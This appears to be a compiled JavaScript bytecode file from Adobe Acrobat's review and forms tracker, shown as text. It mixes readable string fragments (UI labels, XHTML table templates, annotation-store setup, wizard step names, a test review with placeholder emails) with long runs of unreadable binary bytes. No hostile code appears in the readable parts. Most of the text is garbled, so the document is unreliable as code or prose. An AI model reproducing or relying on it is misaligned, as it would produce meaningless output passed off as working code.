cServerStatus&IDS_TRACKER_UBER_TABLE_HEADER_FILENAMEcTableHeaderFileName&IDS_TRACKER_UBER_TABLE_HEADER_DEADLINEcTableHeaderDeadline*IDS_TRACKER_UBER_TABLE_HEADER_NUM_COMMENTScTableHeaderNumberOfComments+IDS_TRACKER_UBER_TABLE_HEADER_NUM_REVIEWERScTableHeaderNumberOfReviewers-IDS_TRACKER_UBER_TABLE_HEADER_UNREAD_BY_TOTALcTableHeaderUnreadByTotal*IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_TOTALcTableHeaderNewByTotal+IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_ACTIVEcTableHeaderNewByActivegetFormsString*IDS_FORMS_TRACKER_TABLE_HEADER_RESPONDENTScTableHeaderRespondentsAndNew/IDS_FORMS_TRACKER_TABLE_HEADER_TOTAL_RECIPIENTScTableHeaderTotalRecipients-IDS_FORMS_TRACKER_TABLE_HEADER_DISTRIBUTED_ONcTableHeaderDistributedOn.IDS_TRACKER_UBER_TABLE_HEADER_NUM_ACTIVE_FILEScTableHeaderNumberOfActiveFiles(IDS_TRACKER_UBER_TABLE_HEADER_NUM_ERRORScTableHeaderNumberOfErrors)IDS_TRACKER_UBER_TABLE_HEADER_SERVER_NAMEcTableHeaderServerNameNBSP_PLACEHOLDERnbsp_placeholderIDS_TRACKER_UNREAD_BY_TOTALcUnreadByTotalIDS_TRACKER_NEW_BY_ACTIVEcNewByActiveIDS_SHARED_REVIEW_NO_DEADLINEcNoDeadline"IDS_SHARED_REVIEW_DEADLINE_UPDATEDcUpdated
formsXHTMLreviewsXHTMLreviewsSectionHasUpdatesformsSectionHasUpdatesreviewsAggInfoformsAggInforeviewsSectionFeedformsSectionFeedaFormsWorkflowsaReviewsWorkflowsaServersInErrorsetReviewsSectionHasUpdatessetFormsSectionHasUpdatesupdateReviewsXHTMLupdateFormsXHTMLupdateServersXHTMLshowFeedView
showEmptyViewPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescriptionapp	beginPrivtrustedFunctionendPriv�������"dialoghaveCollabWorkflowshaveFormWorkflowsu�(��!;�
�:Q;5WQ;5WQ;�
�:Q;5=EQVBEQVBA�	
�T�:QA�

�T�:Q��ѐΐΐ�ѐ������֐����шapp	beginPrivCollabhaveReviewsFormWorkflowhaveFormWorkflowsendPriv
viewerTypeReader
showEmptyViewshowFeedView������
hasUpdates�����!AT6Q��ʈ+reviewsSectionHasUpdates������
hasUpdates&�p��!AT6Q��ʈ)formsSectionHasUpdates�������V���dialogaggInfobHasAWorkflowWithTrueUpdatesfileNamefileMap	numErrors
tableXHTMLborderedDivxhtmlicurrentcurValtrav
evenOddRowcurWorkflow	cComments
cReviewers	cRowColortrXHTML	arguments��'�!	�����Q�����QA5@R;�
�:QA;�
�:6QA5�
�A�:Q;�
�:Q;�
�:QA5�
�:�����Q;�
�:QB�����QAZ\6Q�����K2mM�����Q����������7�����Q�����5	�����Q�����>�A5A5�
Y�����]�����5]
�����5]�����5]�����5]�����5]�����5]�����5]�����5]�����5	]�����5]\8QC�����QA5A5�
?75=%A5A5�
?7A5 6QA5A5�
?758A5A5�
?75=!A5"=#6QWA5A5�
Y�����5]�����5	]�����5]\8Q�L����N����� ZA�=%�=&�='�A5(�=)=)=*�=+�A5,�=-=.�6$QA�=/�=&�='�A5(�=)=)=0�6$Q�=1�=2=3=4��;5���=6=7�=8�A59�=:=7�=;�A5<�=:=7�=;�==�A5>�=?�A5@�=A=:=7�=;�==�A5B�=?�A5C�=A=:=D=E������Q@�	����Q;F�=G�R�
����QA5$�
�����H�KDmM�����Q������I�7=J������	����Q
�L����N�	�����K
������:Q?�����Q
mA5�����7�
����Q�����?�����QtmA5�����75�
����5W(A5�����?A5�����78Q�����#?�����QQ������>���������?�����!A5�����?�
����8Q�����#?�����QQ������A5�
����B�����Q>�����Q!mA5�����7�����Q�����5>�=�����5=L�����5�����Q=�����5=L�����5�����Q����� �����Q�����;M
;N�����Q�=2=3=4����������=6=7�=O�=2=P=Q�������5
���=6�=R������5�=)=S=T=7�=U������5�=T=7�=U�==�������=A=T=7�=U�==�������=A=T=D������Q������K
������:Q�����#?�����QQ������A5�
�����ė�ʐ�����ѐ�א�Ԑ�ј�"�ѐ�ې�ѐ��ː�̐�0�5ѐ�ݐ�ؐ�������ѐ�ΐӐӐӐӐӐӐӐӐӐ֐���ː�����������p̐����ѐ�ӐӐߘ�"<�	�������㐐��Ȑ��͐��������㘀"T͐�����ܐܐ���ѐ��ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ�"o�ߐ���
� �
��!������"s��ڐ��Ր t\��������"z���
�@ʐ��	㘀"y�ؘ�"��"y�
Ҙ�"����ܘ�"r�Dؘ�"���"r�ܘ�"�ː���
� �!�	�8�����"��ژ�"�����󐐈�
Ԑ�
ސ��������ѐ���ߘ�"��Dؘ�"���"��ܘ�"��(reviewsAggInfoapp	beginPrivCollabgetAggregateReviewInfo
setHandlerendPrivsectionFeedaReviewsWorkflowserrorslength	cFileNamedocLink	cFileLink
totalCommentsnTotalCommentsunreadCommentsnUnreadCommentslastUpdateTimeiLastUpdateTimenewReviewers
nNewReviewersactiveReviewersnActiveReviewersdeadline	cDeadlinedeadlineUpdatedbDeadlineUpdatednNumberOfErrors
serverNamecServerNamecNoDeadline (cUpdated)reviewsXHTML$<div class="summary_page">
									#<span class="reviews-super-iconic"> <span style="font-weight:bold;">cReviewsUpdates</span>(
									<br/>
									<br/>
									<span>
										&#8226; cNoReviewsUpdates
									</span>
									<br/>
								</div>H<div xmlns="http://www.w3.org/1999/xhtml" class="summary_page">
								|
								<br/>
								<br/>
								<div class="borderedDivSummaryPage" id="borderedDivID">
							    </div>
							</div>`<table id="updatedReviewsList" class="borderedTable" cellpadding="15" cellspacing="0">
									<trbgcolorcTableHeaderColor>
										 <th style="padding-left: 10px;">cTableHeaderFileName</th><th>cTableHeaderDeadline<center>cTableHeaderNumberOfComments<br/>cTableHeaderNewByTotal	</center>cTableHeaderNumberOfReviewerscTableHeaderNewByActive
									</tr>
								</table>	Namespacehttp://www.w3.org/1999/xhtmldivid
borderedDivIDappendChild / cTableOddRowColorcTableEvenRowColor <td style="padding-left: 10px;">ahref<span class="blueLink"></a></td><td>t88!n��G�5�������M���dialogaggInfobHasAWorkflowWithTrueUpdatesfileNamefileMapcRecipientsResponded
tableXHTMLborderedDivxhtmlicurrentcurValtrav
evenOddRow
isFirstRowcurWorkflow	cRowColortrXHTML	argumentsJE0�"	�����Q�����QA5@R;�
�:QA;�
�:6QA5�
�A�:Q;�
�:Q;�
�:QA5�
�:�����Q;�
�:QB�����QAZ\6Q�����K�mM�����Q����������7�����QA5A5�	Y�����]
�����5]�����5
]�����5]�����5]�����5]�����5]�����5]�����5]\8QA5A5�	?75>C�����Q=A5A5�	?75�����Q�����=A5A5�	?75=�����QA5A5�	?7�����6Q�L���eN����� ZA�= �=!�="�A5#�=$=$=%�=&�A5'�=(=)�6QA�=*�=!�="�A5#�=$=$=+�6Q�=,�=-=.=/��;0���=1=2�=3�A54�=5=2�=6�A57�=5=2�=6�=8�A59�=:=5=2�=6�=8�A5;�=:=5=<==������Q@�	����Q;>�=?�R�
����QA5�
�����@�KDmM�����Q������A�7=B������	����Q
�L����N�	�����C
������:Q?�����Q
mA5�����7�
����Q�����?�����QtmA5�����75�
����5W(A5�����?A5�����78Q�����#?�����QQ������>���������?�����!A5�����?�
����8Q�����#?�����QQ������A5�	����B�����QC�����Q>�����Q�mA5�����7�����Q�����5>}����� �����Q�����;D
;E�����Q�=-=.=/����������=1=2�=F�=-=G=H�������5���=1�=I������5
�=$=J=K=2�=L������5�=K=2�=L�=8������5�=:=K=2�=L�=8������5�=:=K=<������Q������C
������:Q�����#?�����QQ������A5�	���)�ė�ʐ�����ѐ�א�Ԑ�ј�"��ѐ�ې�ј�"�ː�̐�0��ѐ�ݐ��ѐ�ΐӐӐӐӐӐӐӐ֐�����ː�鐈�pː��였"ڈ	�������㐐��Ȑ��͐��������㘀"�͐�����ܐܐ�㐗ѐ��ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ�#
�ߐ���
� �
��!������#��ڐ��Ր t\��������#���
�@ʐ��	㘀#�ؘ�#��#�
Ҙ�# ���ܘ�#�Bؘ�#!��#�ܘ�#%ː�ː���
� �ŀ��ܖ����#+�ژ�#0������
Ԑ�
ސ��������ѐ���ߘ�#*�Bؘ�#@��#*�ܘ�#@�(formsAggInfoapp	beginPrivFormWorkflowgetAggregateFormWorkflowInfo
setHandlerendPrivsectionFeedaFormsWorkflowslength	cFileNamedocLink	cFileLink
distributedOncDistributedOntotalRecipientsnTotalRecipientstotalRespondentsnTotalRespondentsnewRespondentsnNewRespondentslastUpdateTimeiLastUpdateTimeerrorsnNumberOfErrors
serverNamecServerName ()cRecipientsResponded
formsXHTML$<div class="summary_page">
									!<span class="forms-super-iconic"> <span style="font-weight:bold;">
cFormsUpdates</span>(
									<br/>
									<br/>
									<span>
										&#8226; cNoFormsUpdates
									</span>
									<br/>
								</div>H<div xmlns="http://www.w3.org/1999/xhtml" class="summary_page">
								|
								<br/>
								<br/>
								<div class="borderedDivSummaryPage" id="borderedDivID">
							    </div>
							</div>^<table id="updatedFormsList" class="borderedTable" cellpadding="15" cellspacing="0">
									<trbgcolorcTableHeaderColor>
										 <th style="padding-left: 10px;">cTableHeaderFileName</th><th>cTableHeaderDistributedOn<center>cTableHeaderRespondentsAndNew	</center>cTableHeaderTotalRecipients
									</tr>
								</table>	Namespacehttp://www.w3.org/1999/xhtmldivid
borderedDivIDappendChildcTableOddRowColorcTableEvenRowColor <td style="padding-left: 10px;">ahref<span class="blueLink"></a></td><td>���!��G���������;���dialogoServersInfocurrentcurWorkflowcServerName
serverName	serverMap
tableXHTMLborderedDivxhtmli
evenOddRowcurValtrav	curServer	cRowColortrXHTML	argumentsn0LGE#	�����QY\�����Q>�����Q+mA5�����7�����Q�����5>
ވ����5�����Q����������7@+����������Y>]>]\8Q����������75�����56Q�����5����������75,����������7�����56Q�����#?�����QQ������A5�����>�����Q+mA5�����7�����Q�����5>
ވ����5�����Q����������7@+����������Y>]>]\8Q����������75�����56Q�����5����������75,����������7�����56Q�����#?�����QQ������A5�����AZ\6Q�����K�mM�����Q����������7�����QA5A5�Y�����]�����=����������]�����5]�����5]>]	\8Q�L���YNA5�>A=6
QA�=�=
�=�A5�===�6
Q�=�===��;���==�=�A5�==�=�=�A5�===�=�=�A5 �===!="��	����Q@�
����Q;#�=$�R�����QA5
������%�KDmM�����Q������&�7='������
����Q
�L����N�
�����(
�	�����:QB�
����Q?�����Q
mA5�����7�����Q�����?�����QtmA5�����75�����5W(A5�����?A5�����78Q�����#?�����QQ������>���������?�����!A5�����?�����8Q�����#?�����QQ������A5�����>�����QmA5�����7�����Q;)�*
�:Q�����5	;+�,
�����5�:6	Q�����5	;-�.
�����5�:6	Q;)�/
�:Q�
���� �
����Q�
����;0
;1�����Q�===����������==2�=3�==4=5�������5���=�=6������5�==7=8=2�=9�=������5	�==8=2�=9�=������5�==8=:������Q�	�����(
������:Q�����#?�����QQ������A5������ė�И�#M�
� �+��B�����#N�ڐ��8��ؐ�����Ґ��ɘ�#^��p����瘀#M�Dؘ�#`��#M�ܘ�#e�
� �+��B�����#f�ڐ��8��ؐ�����Ґ��ɘ�#v��p����瘀#e�Bؘ�#x��#e�ܘ�#|�̐�0��ѐ�ݐ��ѐ�ΐ�ӐӐҘ�#������̐��������㘀#�͐�����ܐ�㐗ѐ��ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ�#��ߐ�ː���
� �
��!������#���ڐ��Ր t\��������#��
�@ʐ��	㘀#��ؘ�#ǘ�#��
Ҙ�#����ܘ�#��Bؘ�#˘�#��ܘ�#Ј
� ���/�����#ѐڐ���ѐ��p���p��ѐ���
�
Ԑ�
ސ�������ѐ���ߘ�#ЈBؘ�#瘀#Јܘ�#�'aReviewsWorkflowsnNumberOfErrorscServerNameiLastUpdateTimelengthaFormsWorkflowsaServersInError#cServerLinknActiveWorkflowsserversXHTMLH<div xmlns="http://www.w3.org/1999/xhtml" class="summary_page">
								#<span class="servers-super-iconic"> <span style="font-weight:bold;">
cServerStatus</span>|
								<br/>
								<br/>
								<div class="borderedDivSummaryPage" id="borderedDivID">
							    </div>
							</div>^<table id="updatedFormsList" class="borderedTable" cellpadding="15" cellspacing="0">
									<trbgcolorcTableHeaderColor>
										 <th style="padding-left: 10px;">cTableHeaderServerName</th><th><center>cTableHeaderNumberOfActiveFiles	</center>cTableHeaderNumberOfErrors
									</tr>
								</table>	Namespacehttp://www.w3.org/1999/xhtmldivid
borderedDivIDappendChildapp	beginPrivCollabgetNumberOfReviewsOnServerFormWorkflow getNumberOfFormWorkflowsOnServerendPrivcTableOddRowColorcTableEvenRowColor

									 <td style="padding-left: 10px;">ahref<span class="blueLink"></a></td><td>
								</tr>u/D!z��G��rB B�������K}�dialog"bDisplayToggleSynchronizerIconLink"cDisplayToggleSynchronizerIconLinkcToggleSynchronizerLinkIconiccToggleBezelLinkIconiccToggleSynchronizerIconcToggleDisplayBezelcToggleSynchronizerIconLinkcToggleDisplayBezelLink	viewXHTMLmainContainerDivxhtmlidownButtonsXHTMLstm	argumentsoG_Y�#	�����Q�;5=�����Q�����=
=�����Q=�����Q=�����Q=�����Q������;�
�:Q;5-;5	�����Q=
�����Q(;5�����Q=�����Q;�
�:Q=�����Q;�
�:Q;5-;5�����Q=�����Q(;5�����Q=�����Q;�
�:Q������
�=�;5=;5;5�:�����Q=�	����Q=�
����Q�=�=�=�A5�== =!������Q@�����Q;"�=#�R�
����Q������
�����$�KDmM�����Q������%�7=&����������Q
�L����NA5'A�(
�:Q������)
�A5*�:QA5+A�,
�:Q������)
�A5-�:QA5'DQA5+A�.
�:Q������)
�A5/�:Q�=0�=1=2=3����������=4����������=5���	�������=6�=7�������=8=9=:�=1=2=3����������=5���
�������=6�=7�������=8=9=;������Q������)
������:QA�<
�>�:QA�=
�>�:Q;>�?
������@
�:�
��=A�:�=B�:�����Q;�
�:Q;�C
������@
�:�
��=A�:�:Q;�
�:Q������D
�Y�����]E\�:Q��v�Q9F�F�=G��:Q9F�F�5H�:Q;I�J
�=G��:Q;I�J
�5H�:Q��ė���ڐ��
ސ�ϐϐ�ϐ����ѐ�(���Ԑ�Ԑ����Ԑ�ϐ��ѐ��ϐ�ѐ�(���Ԑ�Ԑ����Ԑ�ϐ��ѐ���쐐ϐϐ�����$ ����Ȑ��$*�ј�$/ː�ڐ�0Gѐ�Ɉ
����Ӑ@Θ�$=���͐��ܘ�$E���͐��ܘ�$M����͐��ܐ��������ِѐ�ߐ���ϐ�Ϙ�$c�͐�ѐ����ѐ��x���А��ߐ�ސ�ᐈ�{��appplatformWINdisplay: none;	beginPrivCollabisSynchronizerIconShownAnnotsStringIDS_TRACKER_REMOVE_SYNC_ICON$turn-off-notification-in-tray-iconicIDS_TRACKER_RESTORE_SYNC_ICON#turn-on-notification-in-tray-iconicendPrivisDisplayBezelEnabled%IDS_TRACKER_REMOVE_NOTIFICATION_BEZEL'turn-off-notification-in-acrobat-iconic&IDS_TRACKER_RESTORE_NOTIFICATION_BEZEL&turn-on-notification-in-acrobat-iconicreplace	{product}
viewerTypeReaderIDS_PRODUCT_VARIANT_READERIDS_PRODUCT_VARIANT_ACROBAT%acrobat:Review?toggleSynchronizerIcon-acrobat:Review?toggleDisplayNotificationBezel�<html xmlns="http://www.w3.org/1999/xhtml">
							<head>
								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
							</head>

							<body>
								#<div class="bread_crumb">
									cLatestUpdates &gt;
								</div>I
								
								<div id="mainContainer">

								</div>
							</body>
						</html>	Namespacehttp://www.w3.org/1999/xhtmldivid
mainContainerreviewsSectionHasUpdatesupdateReviewsXHTMLappendChildreviewsXHTMLformsSectionHasUpdatesupdateFormsXHTML
formsXHTMLupdateServersXHTMLserversXHTMLY<div class="buttons" style="margin: 20px 0 0 35px;">
								<br/>
								<br/>
								<aclassstylehref><span class="blueLink"></span></a>	
								
							</div>setReviewsSectionHasUpdatessetFormsSectionHasUpdatesutilstreamFromStringtoXMLString&nbsp;utf-8saveTrackerHTMLloadhtmlmyReviewTrackerDebugAlertEXCEPTION: stackconsoleprintln����eNBSP_PLACEHOLDERNBSP_PLACEHOLDERYsG�����D�C�AdialogLINKcWelcomeStrcWhatIsReviewTitlecWhatIsReviewTextcCreateSharedReviewTextcCreateSharedReviewLinkcCreateEmailReviewTextcCreateEmailReviewLinkcWhatIsFormTitlecWhatIsFormTextcCreateFormTextcCreateFormLinkcDistributeFormTextcDistributeFormLink	viewXHTMLstmY�es$��WQ;�
�YB]\�:Q;5WQ;5WQ9��;5�:WQ;5WQ��=	�=
�:WQ;5WQ��=	�=�:WQ;5
WQ9��;5�:W	Q;5W
Q��=	�=�:WQ;5WQ��=	�=�:W
Q�=�=�=�=�=�V�==�=�V�==�=�V�=== �=!�="=#=$��V���=%�=&�='�V�=(=)=�="=#=$��V���=*�=&�='�V�=(=)== �=+�=�V�==�=�V	�=== �=!�="=#=$��V���=,�=&�='�V
�=(=)=�="=#=$��V
���=-�=&�='�V�=(=)==.=/=0�WQ;1�2
�V�3
�:�4
��=5�:�=6�:WQ;7�8
�:Q;9�:
�V�3
�:�4
��=5�:�:Q;7�;
�:QT�<
�YV]=\�:Q~�vWQ;>�?
�=@V�:Q;>�?
�V5A�:Q9B�B�=@V�:Q9B�B�V5A�:Q����ɐ��ސ�ΐΐݐΐؐΐؐΐݐΐؐΐؐ�����$��������͐�ِ���͐������͐���ِ���͐���������ː����ѐ����ѐ��x��ʐ��ې�ڐ�ِ�؀{��XMLsetSettingsignoreCommentsAnnotsStringIDS_TRACKER_WELCOMEIDS_TRACKER_NO_REVIEWS_TITLECBSetProductVariantIDS_TRACKER_NO_REVIEWS_BODY IDS_TRACKER_CREATE_SHARED_REVIEWacrobatReview?initiate=SharedReviewIDS_TRACKER_CREATE_EMAIL_REVIEWReview?initiate=EmailReviewIDS_TRACKER_NO_FORMS_TITLEIDS_TRACKER_NO_FORMS_BODYIDS_TRACKER_CREATE_SHARED_FORMForms?action=createForm"IDS_TRACKER_DISTRIBUTE_SHARED_FORMForms?action=distributeForm�<html xmlns="http://www.w3.org/1999/xhtml">
								<head>
									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								</head>

								<body>
									2<div class="content_uber_summary_page">
										<div>
											 <div class="error">
												
											</div>
											
											<h3></h3>
											<p>
												
											</p>
										</div>
										
										!<div class="buttons">
											<ahrefclass="create-shared-iconic"><span class="blueLink"></span></a>class="create-email-iconic"<div>
											
											class="create-form-iconic"class="distribute-form-iconic"
									</div>
								</body>
							</html>utilstreamFromStringtoXMLStringreplace&nbsp;utf-8app	beginPrivCollabsaveTrackerHTMLendPrivloadhtmlconsoleprintlnEXCEPTION: stackmyReviewTrackerDebugAlert������schemes�Y�Yw$T=Tˆ'Έ:����eNBSP_PLACEHOLDERNBSP_PLACEHOLDER�������	selection�i�i�$@ˆ,�������	selection�i�i�$@ˆ,�������	selectionj!j�$Bˆ'�
������	selection=jZj�$Bˆ'�
�����x�J�t@m
|�$	;'=k;�
�=�;5�Y�]\�:Q;�
�=�C�:Q;'=EQ;	5
=<;�
�=�;5
�Y�]\�@�C�:Q;�
�=�;5�Y�]\�:Q;�
�=�;5�Y�]\�:Q;�
�=�C�:Q;�
�Y=];5]Y;5]Y;5]=]\]Y;5]=]\] Y;5!]="]\]#Y;5$]=%]\]&\]'=](\�:Q;�
�Y=)];5*]Y;5+],;5-]&\]'=,](C].\�:Q;�
�Y=/];50]Y;51]/;52]3\]'=3](C].B]4\�:Q;�
�Y=5];56]Y;57]8;59]:\]'=8](C].B]4\�:Q;�
�Y=;];5<]Y;5];5=]>;5?]@\]'=](C].B]4\�:Q;�
�Y=A];5B]Y;5C]D;5E],;5F]G\]'=D](C].C]4\�:Q;;I6HQ�������ސՐ��ِ�����ސِ���ސՐ��ސՐ��ِ��͐�ʐϐ��ϐ��ϐА���ϐА���ϐА���ϐ֐��А���͐�ʐϐ��ϐՐ�ʐ̐���͐�ʐϐ��ϐՐ�ʐ�̐���͐�ʐϐ��ϐՐ�ʐ�̐���͐�ʐϐ��ϐϐՐ�ʐ�̐���͐�ʐϐ��ϐϐՐ�ʐ�̐���Ј Collab	undefined
addAnnotStoreNONEAnnotsStringIDS_STORE_NONEcreatesetStoreNoSettingsADBCappplatformWINDBIDS_STORE_DATABASEDAVFDFIDS_STORE_DAVFDFFSFDFIDS_STORE_FSFDFsetStoreFSBased
addStateModelReviewcNameIDS_ACTION_REVIEWcUINameIDS_STATE_NONENoneIDS_STATE_ACCEPTA_Accept_Sm_N.png	cIconNameAcceptedIDS_STATE_REJECTA_Reject_Sm_N.pngRejectedIDS_STATE_CANCELLEDA_Cancel_Sm_N.png	CancelledIDS_STATE_COMPLETEDA_Complete_Sm_N.png	CompletedoStatescDefaultCollabStatusIDS_ACTION_COLLABIDS_STATE_COLLAB_ACTIVEModifiedIDS_STATE_COLLAB_COMPLETEDbHiddenMarkedIDS_ACTION_MARKEDIDS_STATE_MARKEDIDS_STATE_UNMARKEDUnmarkedbHistoryPrivacyIDS_ACTION_PRIVACYIDS_STATE_PUBLICPublicIDS_STATE_PRIVATEPrivateApprovalStatusIDS_ACTION_APPROVALIDS_STATE_APPROVAL_CONFIRMApproveIDS_STATE_APPROVAL_DENYRejectBasicIDS_ACTION_BASICIDS_STATE_CREATEDCreatedIDS_STATE_MODIFIEDIDS_STATE_DELETEDDeletedinviteANDefaultInvite������docusersettings�mn�$@ˆ.������K�docusersettings�n�o%TT6QT;6QTEQT=;�T�T�R@ˆ/̈Έ&�ވKcollabDBRoot
collabDBFlagsCBFNiceTableNameADBCAnnotStore�����T�	docusersettingsp�p%	TEQT=?;�T�T�TT55=�;5�R@ˆ.�:��FSAnnotStoreCollabdocID/
fileSystemWebDAV�����I�	docusersettingsq�q%	TEQT=4;�T�T�TT55=�R@ˆ.�/��lFSAnnotStoreCollabdocID/����e����encodeSMBurl��
'pathescapedPath
componentsicmplen�|�~%
TE<QT�
�>���:=EQT�
�=�:��=WQT�
���:UQT�
�=�:WQVKOmMWQVV7WQV9��V�:=WQ9��=V�:Q�L����NV�	WQV�
�>�V?�:����ɐ��Րؐ5Rː�ː��␐̐�׈$substrsmb:indexOf#split/encodeURIComponent
DebugAlert
escapedPath :length�R����globalCheckForSameSMBLocation��5smbURLdatasmbFolderChosenAsUNCfileLocationChosen�̓�%
TWQV�
��=�:WQT55WQV�
�>�V�
�=�:�:WQ;�
�:Q;	�

�V�C�:WQ;�
�:QV�
��=�:WQV�
�:V�
�:TC6
QTB6
Q��%���ސ��ѐ�鐈ѐ�ڐ�ѐ��ސ����ϐ����ʈ=replacedocpath	substringlastIndexOf/app	beginPrivCollabconvertDIPathToPlatformPathendPrivtoLowerCase/Error_DocumentLocationAndRepositoryLocationSame\/+$\/+$����
DebugAlert#�string�i��%;�
�:Q;�
�:Q��ѐ���шapp	beginPrivendPriv����
DebugThrow7�eisDebug����%;�
�:Q;5WQ;�
�:Q=p��ѐΐ�ѐ���app	beginPrivCollabdebugPrintlnendPriv����SharedString�strID0�[��%;T7��ʈAnnotsString����	getDriver?�(
reviewTypeq���%Tx=y=yz===�c;��m
���mʘ�%ϐ�
�P���
�P���
�P��SharedReviewFormDistribution9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com2urn://ns.adobe.com/Collaboration/Forms/Acrobat.com������dataQ����%9��T5�:ˆ؈/IWEmailStepDescription
reviewType������datag����%9��T5�:ˆ؈/IWEmailStepDescription
reviewType������data��܊�%9��=�B�:ˆ׈*IWBrowseDocSharedReview������data��ڋ�%9��=�B�:ˆ׈3IWDistributionServerSharedReview������data֌�&9��=�B�:ˆ׈/IWIdentityDialogSharedReview������data�@�&9��=�:ˆՈ4IWSharedReviewDocCenterLoginSharedReview������data�`�&9��=�:ˆՈ7IWSharedReviewDocCenterCreateIDSharedReview������dataC���&9��=�:ˆՈ<$IWSharedReviewDocCenterCreateConfirmSharedReview������data]���#&9��T�=�B�:ˆۈ8IWNewInternalServerSharedReview������data��ْ+&9��=�B�:ˆ׈:IWDistributeStepDescriptionSharedReview������dataʓ	�3&9��=�:ˆՈ4IWSaveProfileStepDescriptionSharedReview������data����;&9��=�:ˆՈ.IWEmailStepDescriptionSharedReview������data��7�G&9��=�B�:ˆ׈.IWBrowseDocFormDistribution������data<�~�O&9��=�B�:ˆ׈7IWDistributionServerFormDistribution������dataz���W&9��=�B�:ˆ׈3IWIdentityDialogFormDistribution������data���_&9��=�:ˆՈ8IWSharedReviewDocCenterLoginFormDistribution������dataʚ�f&9��=�:ˆՈ;IWSharedReviewDocCenterCreateIDFormDistribution������data�>�m&9��=�:ˆՈ@$IWSharedReviewDocCenterCreateConfirmFormDistribution������data2�n�u&9��=�B�:ˆ׈1IWSubmitButtonFormDistribution������dataW���}&9��T�=�B�:ˆۈ<IWNewInternalServerFormDistribution������data��۟�&9��=�B�:ˆ׈>IWDistributeStepDescriptionFormDistribution������data̠��&9��=�:ˆՈ8IWSaveProfileStepDescriptionFormDistribution������dataá��&9��=�:ˆՈ2IWEmailStepDescriptionFormDistribution������data���&9��=�:ˆՈ1IWSharedReviewDocCenterLogin	ShareFile������data�B��&9��=�:ˆՈ4IWSharedReviewDocCenterCreateID	ShareFile������data.�r��&9��=�:ˆՈ9$IWSharedReviewDocCenterCreateConfirm	ShareFile������dataH�}��&9��=�B�:ˆ׈*IWBrowseAnyDoc	ShareFile������datas����&9��=�:ˆՈ+IWEmailStepDescription	ShareFile������data��̨�&9��=�:ˆՈ1IWSharedReviewDocCenterLogin	ShareFile������data����&9��=�:ˆՈ4IWSharedReviewDocCenterCreateID	ShareFile������dataު"��&9��=�:ˆՈ9$IWSharedReviewDocCenterCreateConfirm	ShareFile������data��-��&9��=�B�:ˆ׈*IWBrowseAnyDoc	ShareFile������dataR����&9��=�:ˆՈ1IWSharedReviewDocCenterLogin	ShareFile������datal����&9��=�:ˆՈ4IWSharedReviewDocCenterCreateID	ShareFile������data��ܯ�&9��=�:ˆՈ9$IWSharedReviewDocCenterCreateConfirm	ShareFile������data��4�'9��=�:ˆՈ4IWSharedReviewDocCenterCreateID	ShareFile������data!�e�'9��=�:ˆՈ9$IWSharedReviewDocCenterCreateConfirm	ShareFile����
GetStepNum��*name
reviewType)���'Tx=y2=y�=y�=y=yDzoTx=yd=ya=y^=y\=	yZ=
yX=yV=yT=
yR=yPzS>L?E�=�5�-�%���
�	�Tx=yn=yk=yh=yf=	yd=
yb=y`=y^=y\=
yZ=yXz[>T?M�E�=�5�-�%���	
�
�Tx=y2=	y/=
y,=y*=y(z+>$?��
�Tx=y=	y=
yz >?�
Tx=	y=
yz>?
���c����m
��'Pm
��'�m
��'�m
��'�mʘ�'��c����m
��' m
��'%m
��'*m
��'/m
��'4m
��'9m
��'>m
��'Cm
��'Hmʘ�'����P������P������P������P������P������P������P������P������P������P���P����c����m
��'Ym
��'^m
��'cm
��'hm
��'mm
��'rm
��'wm
��'|m
��'�m
��'�mʘ�'T����P������P������P������P������P������P������P������P������P������P������P���P����c^��m
��'�m
��'�m
��'�m
��'�mʘ�'�����P������P������P������P������P���P����c?��m
��'�m
��'�mʘ�'�����P������P������P��P�����c-��m
��'�mʘ�'Ȑ���P������P��P��������P��'݈�
SharedReviewFormDistribution	ShareFileDocCenterLoginDocCenterSignupIWBrowseDocIWDistributionServerIWIdentityDialogIWSharedReviewDocCenterLoginIWSharedReviewDocCenterCreateID$IWSharedReviewDocCenterCreateConfirmIWNewInternalServerIWDistributeStepDescriptionIWSaveProfileStepDescriptionIWEmailStepDescriptionIWSubmitButtonIWBrowseAnyDoc������data�P��'9��=�B�:ˆ׈D%CBCreateGettingStartedStepDescriptionSharedReview������data� ��'9��:ˆψ1'CBSharedReviewDistributeStepDescription������datac����'9��:ˆψ'CBSharedReviewInviteReviewers������data��_��'9��;5�B�:ˆ܈x%CBCreateSendInvitationStepDescriptionAnnotsString5IDS_SHARED_REVIEW_PREVIEW_INVITE_STEP_MESSAGE_HEADING����	ANDumpObjH�obj��/�(TK9mMn�oQ9��;=T;7�:Q�L����N�5<Ԑ��(propDebugPrintln => 
<����DebugPrintlnL�objP��� (;�
�:Q;5;�
�T�:Q;�
�:Q��ѐ���ڐ���шapp	beginPrivCollabdebugPrintlnconsoleprintlnendPriv����
TestReviewT�!Hdocmethodparamsprop��D�*(
;�
�:Q;�
�:WQ;�
�:Q=WQYV]=]=	]
=]=
]=]=];�R]V]V=]�	]>]=]\WQ;�
�=�:QVK.mMWQ;�
�V=VV7�:Q�L����N;�
�:Q;� 
�V�:Q;�
�:Q��ѐԐ�ѐ�ɐ��Ȑʐʐʐʐʐʐϐ��Ȑΐ��ϐ���א51ˈ쐐��ѐ�Ր�шapp	beginPrivCollabGetActiveDocIWendPrivEMAILdocme@example.com	initiator	some-guididsmb://camelot/sync/testsource1urn://ns.adobe.com/Collaboration/SharedReview/SMBdriver*invitee1@example.com, invitee2@example.cominviteesoptional1@copmany.comccDatesentDatedistributionMethodUPLOADrequireSaveversionInfoaccessLeveljYour document has been distributed to reviewers as an email attachment and saved to your local hard drive.bezelMessageconsoleprintlnRegistering review - params: => registerReview�1����ANCreateMLSElement��
3
namewidthmed�2�M(T�
��:WQY=]T]C]T]\WQV�VYZT`Y=]\`\]\6QVV?76QY=	]=
